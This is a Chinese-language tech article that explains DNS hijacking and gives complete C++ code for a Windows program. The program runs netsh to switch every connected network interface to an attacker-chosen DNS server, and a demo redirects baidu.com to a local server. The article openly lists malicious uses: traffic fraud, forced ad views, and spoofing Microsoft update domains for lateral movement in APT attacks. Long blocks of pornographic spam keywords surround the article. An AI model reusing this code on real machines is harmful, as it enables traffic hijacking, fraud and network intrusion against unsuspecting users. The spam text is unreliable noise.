精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

網絡 通信技術
每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

什么是DNS?

每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

主機名到IP地址的映射有兩種方式:

1)靜態映射,每臺設備上都配置主機到IP地址的映射,各設備獨立維護自己的映射表,而且只供本設備使用;

2)動態映射,建立一套域名解析系統(DNS),只在專門的DNS服務器上配置主機到IP地址的映射,網絡上需要使用主機名通信的設備,首先需要到DNS服務器查詢主機所對應的IP地址。

通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。在解析域名時,可以首先采用靜態域名解析的方法,如果靜態域名解析不成功,再采用動態域名解析的方法。可以將一些常用的域名放入靜態域名解析表中,這樣可以大大提高域名解析效率

什么是DNS劫持?

DNS劫持又稱域名劫持,是指在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什么都不做使請求失去響應,其效果就是對特定的網絡不能訪問或訪問的是假網址。

DNS(域名系統)的作用是把網絡地址(域名,以一個字符串的形式)對應到真實的計算機能夠識別的網絡地址(IP地址),以便計算機能夠進一步通信,傳遞網址和內容等。由于域名劫持往往只能在特定的被劫持的網絡范圍內進行,所以在此范圍外的域名服務器(DNS)能夠返回正常的IP地址,高級用戶可以在網絡設置把DNS指向這些正常的域名服務器以實現對網址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。

程序所需頭文件和命名空間: 

  1. #include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 

獲取本機可用網卡: 

  1. void Get_using_interface() 
  2.       system("netsh interface show interface > interface_info.txt"); 
  3. ​ 
  4.       FILE* fp = fopen("interface_info.txt""rb"); 
  5.       const int file_size = filelength(fileno(fp)); 
  6.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  7.       if (fp) { 
  8.         fread(buff, 1, file_size, fp); 
  9.         str = buff; 
  10.         free(buff); 
  11.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  12.         Split(str, "\r\n", interface_using); 
  13.         Spilt_space(interface_using); 
  14.       } 
  15.     } 
  16. ​ 
  17. void Spilt_space(list<string> list_str) { 
  18.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  19.         cout << *itor << endl; 
  20.         string::size_type first_variable = (*itor).find("已啟用"); 
  21.         string::size_type second_variable = (*itor).find("已連接"); 
  22.         string::size_type third_variable = (*itor).find("專用"); 
  23.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  24.           string info = *itor; 
  25.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  26.         } 
  27.       } 
  28.     } 
  29. ​ 
  30. void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  31.       std::size_t found = S.find(A); 
  32.       while (std::string::npos != found) { 
  33.         S.replace(found, A.length(), B); 
  34.         found = S.find(A, found + 1); 
  35. ​ 
  36. void Split(const string& src, const string& separator, list<string>& dest) 
  37.       string str = src; 
  38.       string substring
  39.       string::size_type start = 0, index
  40.       dest.clear(); 
  41.       index = str.find_first_of(separator, start); 
  42.       do 
  43.       { 
  44.         if (index != string::npos) 
  45.         { 
  46.           substring = str.substr(start, index - start); 
  47.           dest.push_back(substring); 
  48.           start = index + separator.size(); 
  49.           index = str.find(separator, start); 
  50.           if (start == string::npos) break; 
  51.         } 
  52.       } while (index != string::npos); 
  53. ​ 
  54.       //the last part 
  55.       substring = str.substr(start); 
  56.       dest.push_back(substring); 
  57.     } 

構造函數實現: 

  1. DNS_Hijack(string DNS="192.168.1.233"
  2.     { 
  3.       Get_using_interface(); 
  4.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  5.       { 
  6.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  7.         cout << str; 
  8.         system(str.c_str()); 
  9.       } 
  10.     } 

下面我們先直接給出完整代碼方便用戶直接運行查看效果。(記得修改ip地址)​ 

  1. ​#include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 
  8. ​ 
  9. class DNS_Hijack { 
  10.   private: 
  11.     list<string> interface_using;          //獲取本地可用網卡 
  12.     list<string> last_get_interface_using; 
  13.   private:   
  14.     string str;                //存儲文件讀取后的內容 
  15.     string DNS; 
  16. ​ 
  17.   private: 
  18.     void Get_using_interface() 
  19.       system("netsh interface show interface > interface_info.txt"); 
  20. ​ 
  21.       FILE* fp = fopen("interface_info.txt""rb"); 
  22.       const int file_size = filelength(fileno(fp)); 
  23.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  24.       if (fp) { 
  25.         fread(buff, 1, file_size, fp); 
  26.         str = buff; 
  27.         free(buff); 
  28.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  29.         Split(str, "\r\n", interface_using); 
  30.         Spilt_space(interface_using); 
  31.       } 
  32.     } 
  33. ​ 
  34.   private: 
  35.     void Spilt_space(list<string> list_str) { 
  36.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  37.         cout << *itor << endl; 
  38.         string::size_type first_variable = (*itor).find("已啟用"); 
  39.         string::size_type second_variable = (*itor).find("已連接"); 
  40.         string::size_type third_variable = (*itor).find("專用"); 
  41.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  42.           string info = *itor; 
  43.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  44.         } 
  45.       } 
  46. ​ 
  47.     } 
  48. ​ 
  49.   private: 
  50.     void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  51.       std::size_t found = S.find(A); 
  52.       while (std::string::npos != found) { 
  53.         S.replace(found, A.length(), B); 
  54.         found = S.find(A, found + 1); 
  55.       } 
  56.   } 
  57. ​ 
  58.   private: 
  59.     void Split(const string& src, const string& separator, list<string>& dest) 
  60.       string str = src; 
  61.       string substring
  62.       string::size_type start = 0, index
  63.       dest.clear(); 
  64.       index = str.find_first_of(separator, start); 
  65.       do 
  66.       { 
  67.         if (index != string::npos) 
  68.         { 
  69.           substring = str.substr(start, index - start); 
  70.           dest.push_back(substring); 
  71.           start = index + separator.size(); 
  72.           index = str.find(separator, start); 
  73.           if (start == string::npos) break; 
  74.         } 
  75.       } while (index != string::npos); 
  76. ​ 
  77.       //the last part 
  78.       substring = str.substr(start); 
  79.       dest.push_back(substring); 
  80.     } 
  81. ​ 
  82.   public
  83.     DNS_Hijack(string DNS="192.168.1.233"
  84.     { 
  85.       Get_using_interface(); 
  86.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  87.       { 
  88.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  89.         cout << str; 
  90.         system(str.c_str()); 
  91.       } 
  92.     } 
  93. ​ 
  94. }; 
  95. ​ 
  96. int main() 
  97.   DNS_Hijack* one = new DNS_Hijack("192.168.1.20"); 
  98.   system("pause"); 
  99.   return 0; 

現在我在虛擬機win2003,ip地址為:192.168.1.20中搭建了一臺DNS服務器,并將所有域名為www.baidu.com的請求都解析到我內網中的一臺搭建了Apache服務器上。

這個時候我對www.baidu.com的請求就會通過我內網中的DNS服務器解析成我Apache服務器的地址。

也就是說真正的百度的ip我們已經無法得到,通過nslookup也可以看出,DNS被劫持。

實驗效果: 

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

部分用途:

  • 我們可以通過這種方法讓用戶訪問特定的URL從而實現惡意刷取網站PE量的效果。
  • 如果網站接入了廣告聯盟,可以通過這種方法來讓用戶直接看到網站中的廣告。
  • 營銷,推廣等。
  • 可以用于局域網橫向滲透、提權,在APT攻擊中可以有部分體現。(偽造微軟的更新服務器域名。) 

 

責任編輯:未麗燕 來源: 今日頭條
相關推薦

2024-12-13 16:37:56

SpringBootJava

2021-04-28 22:42:36

SaaS軟件技術

2014-01-23 10:07:31

移動廣告廣告商banner

2017-05-31 15:06:30

2021-02-04 10:12:50

程序員SQLIBM

2020-09-24 06:41:33

通信IT行業

2021-12-28 16:54:03

2022-06-06 18:25:21

數據泄露互聯網

2015-08-21 09:18:17

大數據技術解決問題

2014-09-17 14:54:06

2022-12-13 07:30:50

APIweb前端

2023-08-13 19:45:12

DNS

2022-02-10 20:26:06

虛擬元宇宙網絡

2020-11-18 13:24:02

廣告彈窗網信互聯網

2020-07-17 19:31:19

PythonR編程

2019-07-23 10:40:58

云計算微服務IT

2009-12-14 18:27:21

Linux操作系統

2023-08-29 10:09:11

2021-08-13 22:26:40

Windows 10Windows微軟

2019-09-26 09:00:31

Java編程語言
點贊
收藏

51CTO技術棧公眾號

在线免费观看黄| 夜夜爽妓女8888视频免费观看| 99久久999| 亚洲午夜一区二区| 免费观看成人高| 一级片aaaa| 亚洲色诱最新| 精品国产一区二区三区久久久狼| 中文字幕av一区二区三区人妻少妇| 17videosex性欧美| 国产精品二三区| 国产二区不卡| 在线视频播放大全| 亚洲巨乳在线| 久久夜精品va视频免费观看| 国产老熟女伦老熟妇露脸| 成人深夜福利| 欧美日韩精品在线观看| a级黄色片网站| 国产青青草在线| eeuss鲁片一区二区三区在线观看| 国产精品一区久久久| 五月天婷婷丁香| 婷婷激情综合| 亚洲视频在线免费观看| 中文字幕99页| 精品久久亚洲| 欧美色综合影院| 久久久精品在线视频| av免费在线观看网址| 欧美激情一区在线| 久久草.com| xxxwww在线观看| 麻豆精品国产传媒mv男同| 97超级碰碰人国产在线观看| 91插插插插插插| 2020国产精品极品色在线观看| 精品久久久中文| 精品丰满人妻无套内射| 调教一区二区| 亚洲美女在线国产| 亚洲精品tv久久久久久久久| 日韩午夜影院| 久久综合色婷婷| 国产精品自拍首页| 午夜久久久久久久久久| 激情欧美日韩一区二区| 国产一区二区在线播放| 中文字幕一区二区三区四区免费看| 欧美亚洲在线| 欧美一区第一页| 久久久精品福利| 国产欧美午夜| 国产91av在线| 九九热在线视频播放| 亚洲最黄网站| 欧美与欧洲交xxxx免费观看| 国产精品500部| 亚洲三级影院| 欧美亚洲另类激情另类| 四虎成人在线观看| 日韩精品欧美成人高清一区二区| 国产脚交av在线一区二区| 日韩精选在线观看| 免费在线观看不卡| 成人精品久久一区二区三区| 国产毛片在线视频| 国产精品91一区二区| 国产高清一区视频| 天天综合天天色| 久久精品夜色噜噜亚洲aⅴ| 日本三级中国三级99人妇网站| 国产精品一区二区三区四区色| 亚洲国产精品成人久久综合一区| 亚洲第一导航| 91蜜桃在线视频| 亚洲国产成人av好男人在线观看| 日本手机在线视频| 神马电影网我不卡| 欧美精品色一区二区三区| 中文字幕一区二区在线观看视频| 免费精品一区| 亚洲精品久久久一区二区三区| 国产网站无遮挡| av中字幕久久| 欧美成人精品h版在线观看| 国产真人真事毛片| 另类图片国产| 91久久久久久| 神马久久久久| 国产精品电影院| 欧美一级欧美一级| 青青热久免费精品视频在线18| 69成人精品免费视频| 国产精品麻豆入口| 999久久久国产精品| 久久久久久久一| 久久久久久久久久一级| 国产高清一区日本| 日本高清不卡三区| 三级网站视频在在线播放| 精品色蜜蜜精品视频在线观看| 亚洲激情在线观看视频| 7777精品| 视频直播国产精品| 日韩美女黄色片| 久久超级碰视频| 国产亚洲一区二区三区在线播放| jizz在线观看中文| 亚洲国产美女搞黄色| 欧美婷婷精品激情| 台湾色综合娱乐中文网| 日韩视频中文字幕| 国产精品男女视频| 国产成人在线免费观看| 先锋影音亚洲资源| 性爽视频在线| 欧美成人精品二区三区99精品| 欧美性受xxxx黑人| av成人国产| 粉嫩av一区二区三区免费观看 | 永久免费av无码网站性色av| 欧美成人一区二免费视频软件| 国产成人精品一区二区在线| 黄色www视频| 亚洲欧洲韩国日本视频| 亚洲精品高清无码视频| 欧美日韩一区二区三区不卡视频| 欧美成人亚洲成人日韩成人| 亚洲性生活大片| 国产午夜精品一区二区三区嫩草| 免费看又黄又无码的网站| 免费看日产一区二区三区| 日韩在线观看免费高清完整版| 日本中文字幕网| 成人一区二区在线观看| 91视频成人免费| 亚洲欧美专区| 精品国内亚洲在观看18黄| 最近中文字幕在线观看视频| 久久综合久久99| 成人免费观看cn| 白白在线精品| 欧美精品激情在线| 可以免费观看的毛片| 一区二区三区日韩| 亚洲911精品成人18网站| 911精品美国片911久久久| 91老司机在线| 少妇视频在线| 欧美大胆人体bbbb| www.av视频在线观看| 岛国av在线一区| 国产日本在线播放| 蜜桃一区av| 欧美最顶级的aⅴ艳星| 日韩一区av| 欧美性生活一区| 中文字幕第二区| 激情成人综合网| 少妇高潮大叫好爽喷水| 一区二区在线视频观看| 久久久久久久久久久久久久久久久久av| xxxx18国产| 精品成人在线视频| 受虐m奴xxx在线观看| 免费一区二区视频| 超级碰在线观看| 国产香蕉精品| 青草青草久热精品视频在线观看| www在线免费观看| 91精品国产综合久久久蜜臀图片| 日本aⅴ在线观看| 9色porny自拍视频一区二区| 哪个网站能看毛片| 日韩精品午夜| 99视频网站| 亚洲天堂电影| 日韩在线观看精品| 欧美自拍偷拍第一页| 色婷婷精品大在线视频| 国产乱子轮xxx农村| 国产精品一二三在| 男女视频网站在线观看| 国产欧美久久一区二区三区| 成人精品一区二区三区电影免费| 欧美xxxx性xxxxx高清| 亚洲免费av电影| 国产免费高清av| 欧美日韩免费在线观看| 成人信息集中地| 成人免费看黄yyy456| 苍井空浴缸大战猛男120分钟| 91精品动漫在线观看| 久久本道综合色狠狠五月| 91精品视频一区二区| 7777精品久久久久久| 免费在线你懂的| 亚洲精品wwwww| 亚洲天堂avav| 欧美日韩国产中文精品字幕自在自线| 人妻熟人中文字幕一区二区| 成人一区二区三区视频在线观看| 五月婷婷激情久久| 在线看片日韩| 只有这里有精品| 综合色就爱涩涩涩综合婷婷| 亚洲综合在线小说| 3d欧美精品动漫xxxx无尽| 欧美大荫蒂xxx| melody高清在线观看| 日韩成人在线视频| 精品人妻一区二区三区日产乱码| 在线亚洲+欧美+日本专区| 免费在线一区二区三区| 国产精品久久久久久一区二区三区| 手机免费看av片| 国产一区二区三区四区五区美女| 久久综合久久色| 99热这里只有成人精品国产| 国产精品一区在线免费观看| 国产欧美日韩精品一区二区三区 | 欧美日韩国产一区二区| 欧美日韩三级在线观看| 国产精品丝袜黑色高跟| 国精产品一区一区三区免费视频 | 国产又色又爽又黄刺激在线视频| 色妞色视频一区二区三区四区| 手机亚洲第一页| 精品久久一二三区| 国产丰满美女做爰| 91精品欧美综合在线观看最新 | 免费的国产精品| 成人在线观看黄| 国产精品一区毛片| 毛片在线播放视频| 日韩视频精品在线观看| 亚洲色欲久久久综合网东京热| 欧美暴力喷水在线| 精品嫩模一区二区三区| 亚洲h色精品| 一区二区av| 不卡中文字幕| 午夜一区二区三区| 97精品一区二区| 天天做天天爱天天高潮| 久久精品亚洲人成影院| 一区二区三区欧美成人| 99久久精品网| 大地资源第二页在线观看高清版| 五月精品视频| 强伦女教师2:伦理在线观看| 国产精品97| 91免费版看片| 欧美特黄a级高清免费大片a级| 无码人妻精品一区二区蜜桃百度 | 人妻有码中文字幕| 免费精品视频| 色哟哟精品视频| 久久国产精品99精品国产| 天堂av8在线| 国产精品一区二区免费不卡| 精品无码av一区二区三区| 成人动漫精品一区二区| 玖草视频在线观看| 久久精品视频免费| 天美传媒免费在线观看| 成人免费小视频| 久操视频免费在线观看| 亚洲成av人片在线观看| av图片在线观看| 欧美日韩一区久久| 99热这里只有精品在线| 亚洲精品国产免费| 成人高清免费观看mv| 色偷偷偷亚洲综合网另类| 在线观看操人| 91高清视频在线免费观看| 卡通欧美亚洲| 成人性生交xxxxx网站| 综合视频一区| 日本在线观看不卡| 欧美激情aⅴ一区二区三区| 欧美男女爱爱视频| 免费视频一区二区| 一区二区三区四区影院| 久久久国产午夜精品| 日韩a级片在线观看| 岛国视频午夜一区免费在线观看| 久久久999久久久| 日韩免费性生活视频播放| 日韩一区av| 九九热这里只有精品6| 欧美特大特白屁股xxxx| 亚洲va久久久噜噜噜| 天天躁日日躁狠狠躁欧美| 欧美日韩在线免费观看视频| 日韩视频免费| 666欧美在线视频| 国产裸体永久免费无遮挡| 亚洲成人网av| 免费在线观看av片| 91av在线播放| 日韩精品视频中文字幕| 日韩欧美一区二区视频在线播放| 欧美日韩一区二区三区四区在线观看 | 国产精品久久久久久久av福利| 粉嫩高潮美女一区二区三区| 国产又粗又黄又猛| 亚洲mv在线观看| 国产精品熟女久久久久久| 亚洲欧美中文字幕| aa级大片免费在线观看| 91精品久久久久久久久不口人| 欧美黑人巨大videos精品| 四虎精品欧美一区二区免费| 日韩国产欧美三级| 中国免费黄色片| 亚洲视频免费在线观看| 黄色av网站免费| 日韩电影免费观看中文字幕| 在线免费观看的av| 国产噜噜噜噜噜久久久久久久久 | 国产精品综合av一区二区国产馆| 欧美一区二区三区成人精品| 夜夜操天天操亚洲| 国产露脸无套对白在线播放| 伊人男人综合视频网| sese综合| 蜜桃av噜噜一区二区三| 影院欧美亚洲| 亚洲高清无码久久| 亚洲精品欧美激情| 精品国产亚洲av麻豆| 久久久精品电影| 国产精品久久久久久久久久辛辛 | 免费高清完整在线观看| 国产精品久久久久不卡| 亚洲小说图片视频| 日韩欧美精品在线观看视频| 91一区二区三区在线播放| 激情综合网五月婷婷| 欧美tickling挠脚心丨vk| 在线免费观看污| 99国内精品久久久久久久软件| 亚洲电影影音先锋| 国产成人强伦免费视频网站| 亚洲女同女同女同女同女同69| 国产又粗又猛又爽| 久久视频在线播放| 欧美一区一区| 屁屁影院ccyy国产第一页| 国产精品18久久久久久久网站| 国产精品白嫩白嫩大学美女| 欧美一区二区福利在线| 黄色网在线看| 不卡的av一区| 最新日韩欧美| 9.1成人看片免费版| 在线免费观看日本一区| 欧美激情二区| 亚洲综合在线小说| 99精品热视频只有精品10| 中文成人无字幕乱码精品区| 欧美性xxxx18| 成年人在线看| 亚洲一区亚洲二区亚洲三区| 亚洲一级二级| 欧美性猛交xxxx乱| 欧美精品久久天天躁| v片在线观看| 国内精品视频在线播放| 日韩精品免费专区| 欧美激情图片小说| 欧美sm极限捆绑bd| 黑人巨大精品| 亚洲第一页在线视频| www.成人在线| 在线免费一区二区| 另类天堂视频在线观看| 成人午夜网址| 国产野外作爱视频播放| 亚洲一区自拍偷拍| 欧美成人综合在线| 91久久精品美女高潮| 亚洲三级视频| 一级性生活免费视频| 亚洲国产精彩中文乱码av| 成人国产精品| 蜜臀精品一区二区| 国产精品久久三| 国产成人手机在线| 国产精品美女免费| 亚洲手机在线| 中国1级黄色片| 亚洲国产精品推荐| www999久久| 色诱视频在线观看| 亚洲一区二区三区四区不卡| 国产精品秘入口|